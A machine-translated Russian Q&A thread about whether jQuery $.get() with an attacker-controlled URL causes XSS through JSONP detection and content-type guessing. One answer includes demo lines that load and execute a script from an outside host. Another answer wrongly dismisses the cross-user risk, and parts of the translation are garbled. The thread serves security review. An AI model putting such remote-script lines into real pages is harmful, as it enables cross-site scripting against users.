Подтвердить что ты не робот

Является ли jQuery $.get() безопасным для вызова ненадежного URL-адреса?

Недавно я узнал, что jQuery $.getJSON() не безопасен для вызова ненадежного URL. Что насчет $.get()? Безопасно ли jQuery $.get() вызывать, когда параметр URL поступает из ненадежного источника или это небезопасно?

Это появилось в обзоре кода безопасности, который я делал, чтобы проверить уязвимости XSS. Пример кода:

$.get(url, function (...) { ... })

Создает ли этот шаблон кода уязвимость XSS, если злоумышленник выбрал url злонамеренно?

Предположим, что функция будет обрабатывать ответ из запроса AJAX безопасно и что url поступает из ненадежного источника (например, другого пользователя) и может полностью контролироваться противником.

Мое беспокойство: если url выбран злоумышленником, злоумышленник может выбрать вредоносный URL (например, содержащий callback=? и указывая на свой собственный сайт или что-то умное подобное), что заставляет jQuery угадать, что тип данных должен быть JSONP, включить JSONP, вставить тег script в документ и ввести уязвимость XSS таким же образом, как и для getJSON()? (Поскольку я не передаю явный аргумент dataType в $.get(), jQuery угадает тип данных, так как описанный в документах. Я не уверен, что это последствия безопасности.)

Я просмотрел этот код в обзоре кода, и я пытаюсь понять, является ли это потенциальной уязвимостью. Я не ищу альтернативные способы написания этого кода; вместо этого я хочу знать, безопасен ли этот тип кода, как есть.


Поскольку модель угроз немного сложна, позвольте мне привести пример, чтобы лучше понять это. Предположим, что Боб является пользователем службы, и он может предоставить URL-адрес, связанный с его профилем. Предположим, что когда Алиса посещает страницу профиля Боба в своем браузере, код Javascript на странице принимает URL-адрес, который предоставил Боб, и передает его в качестве аргумента $.get(). Вопрос в том, является ли это безопасным? Может ли Боб использовать это для атаки Алисы? Может ли Боб запустить браузер Алисы для выполнения произвольного кода Javascript со всей силой Алисы? Как объясняет связанный вопрос, $.getJSON() небезопасен в этом сценарии, но как насчет $.get()? Это тоже небезопасно, или это безопасно?


Поскольку у меня есть некоторые просьбы о разъяснении, позвольте мне попытаться объяснить/задать вопрос другим способом. Предположим, я делаю обзор кода, чтобы проверить, содержит ли какой-либо код Javascript какие-либо уязвимости XSS, и я вижу следующую строку кода:

$.get(url, function(resp) { /* do nothing */ });

Предположим, я знаю, что url может полностью контролироваться атакующим. Является ли это автоматически уязвимостью XSS? Или это всегда безопасно? Или, если ответ "зависит", от чего он зависит?

Или еще один способ подумать об этом. Предположим, что я делаю обзор кода, и вижу следующую строку кода:

$.get(url, f);

Предположим, я знаю, что url может полностью контролироваться атакующим. Что мне нужно проверить, чтобы убедиться, что это безопасно (без ошибок XSS)? Я знаю, что мне нужно проверить код f, чтобы убедиться, что он безопасно обрабатывает ответ, потому что если f небрежно, он может ввести ошибку XSS. Мой вопрос: это единственное, что мне нужно проверить? Или этот шаблон кода всегда является уязвимостью XSS, независимо от того, как кодируется f?

4b9b3361

Ответ 1

Создает ли этот шаблон кода уязвимость XSS, если злоумышленник неправильно выбрал URL-адрес?

Изменить: да, но не по причине в вашем вопросе.

Незначительная функция авто-JSONP внутренне применяется к запросам AJAX, используя ajaxPrefilter("json jsonp"). Поэтому он применяется к списку prefilter json, но не к другим типам или по умолчанию *. Однако перед откликом применяются префильтры, поэтому это не может произойти только потому, что сервер отвечает с похожим на JSON типом.

(В настоящее время - с 1.11.2 - документы для getJSON не описывают обстоятельства, при которых это потенциально опасное поведение срабатывает точно. В документах для get и ajax не упоминаются авто -JSONP вообще, поэтому, возможно, это должно считаться ошибкой. Конечно, учитывая, насколько это плохо сказано, я бы не стал полагаться на то, что он останется неизменным в будущих версиях jQuery.)

Фактическая причина, по которой она уязвима (как показано рамкой и зубной щеткой), заключается в том, что без параметра dataType jQuery будет угадывать один из ответа. Если URL-адрес злоумышленника попадает в ресурс, который используется как JS-подобный Content-Type, jQuery угадает, что это JavaScript и eval. Примечание: для запроса AJAX достаточно далеко, чтобы это работало, для ресурса на стороннем сервере, он должен был включать заголовки CORS.

$.get(url, function (...) { ... }, 'json');

Эта версия не уязвима для угадывания типа ответа. Однако он уязвим для фильтра auto-JSONP.

Чтобы быть в безопасности, вам нужно установить параметр dataType, и если эта опция json, также параметр jsonp: false. К сожалению, вы не можете установить опцию jsonp в методе get(). Вы должны быть в состоянии сделать это, перейдя в словарь параметров вместо параметров, но вы не можете, потому что этот API в настоящее время полностью нефункциональен из-за того, что jQuery является грустным беспорядком сломанных API-интерфейсов Do-What-I-Mean, поведение которых (все чаще) трудно предсказать.

Таким образом, единственный безопасный способ получить JSON из ненадежного URL-адреса - через базовый ajax:

$.ajax(url, {dataType: 'json', jsonp: false});

Ответ 2

jQuery.get создает риск безопасности XSS.

Если вы посмотрите на источник jQuery (или документацию для jQuery.get), вы увидите, что jQuery.get и jQuery.post являются только обертками для jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.

Здесь есть две проблемы:

  • Если dataType - jsonp, или URL-адрес заканчивается на =? и dataType равен json, jQuery попытается выполнить запрос JSONP, а затем eval script.
  • Если ответ является script, jQuery выполнит это script , если dataType не является json, а для параметра jsonp установлено значение false.

Итак, если вы установите dataType на json и jsonp на false, безопасно, чтобы вызвать jQuery.get для неизвестного URL.

Уязвимый script

$.get(url, function(...) { ... });

См. пример в JSFiddle.

Безопасный script

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

См. пример в JSFiddle.

Ответ 3

Это зависит.

TL; DR Да, в некоторых случаях это небезопасно.

Если:

  • Вы не используете политику безопасности контента, чтобы отфильтровать внешний запрос (caniuse)
  • Клиентский браузер поддерживает CORS (caniuse)
  • Злоумышленник может выбрать URL

Затем злоумышленник может выполнить JS на вашей странице.

Злоумышленный сервер с соответствующим протоколом, правильные заголовки CORS (Access-Control-Allow-Origin: *) смогут выполнить JS на вашей странице благодаря автоматическому обнаружению jQuery из заголовка Content-Type (который для JS будет script).

Пример, который вы можете попробовать на этой странице в stackoverflow (при условии, что вы находитесь на http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

Если вы хотите узнать, что произойдет, если заголовки CORS не установлены:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

Говоря о вашей гипотезе, вам вряд ли удастся превратить JQuery в обычный XHR-запрос в удаленное включение script.

Вкратце взглянув на code, я думаю, что это вряд ли произойдет (если в этом нет ошибки), потому что вы можете переключитесь в "remote script mode" только перед запросом транспорта и если ваш dataType

  • json, когда URL-адрес соответствует rjsonp regex /(=)\?(?=&|$)|\?\?/;
  • jsonp
  • script

Они также уязвимы:

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

Это, конечно, не актуально для вопроса, учитывая тот факт, что вы можете просто использовать $.get для выполнения удаленного кода.

Ответ 4

Это хороший момент. Но как насчет того, чтобы форматировать формат данных, чтобы он не использовался как JSONP

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

Acutal $.getJSON() используется для удобства, когда мы хотим ускорить синтаксический анализ, поэтому, если вы действительно осведомлены о безопасности, используйте индивидуальные вызовы $.ajax().

Дополнительная информация: http://api.jquery.com/jquery.ajax/

Ответ 5

Вы знаете, что хакер может просто открыть консоль dev и написать любой $.get, который он хочет, ему даже не нужно менять вашу переменную url. Фактически, он может выполнять абсолютно любой код, который он хочет, до тех пор, пока он не вмешивается в одну и ту же политику домена. Весь смысл защиты на стороне клиента - убедиться, что парень может только взломать себя.

Поэтому нет необходимости пытаться защитить что-либо на стороне клиента, идея не может доверять чему-либо, что приходит из браузера, поэтому вы всегда должны проверять данные, полученные на вашем сервере, и допускать минимальное взаимодействие между ними (знайте свои параметры, их типы и т.д.).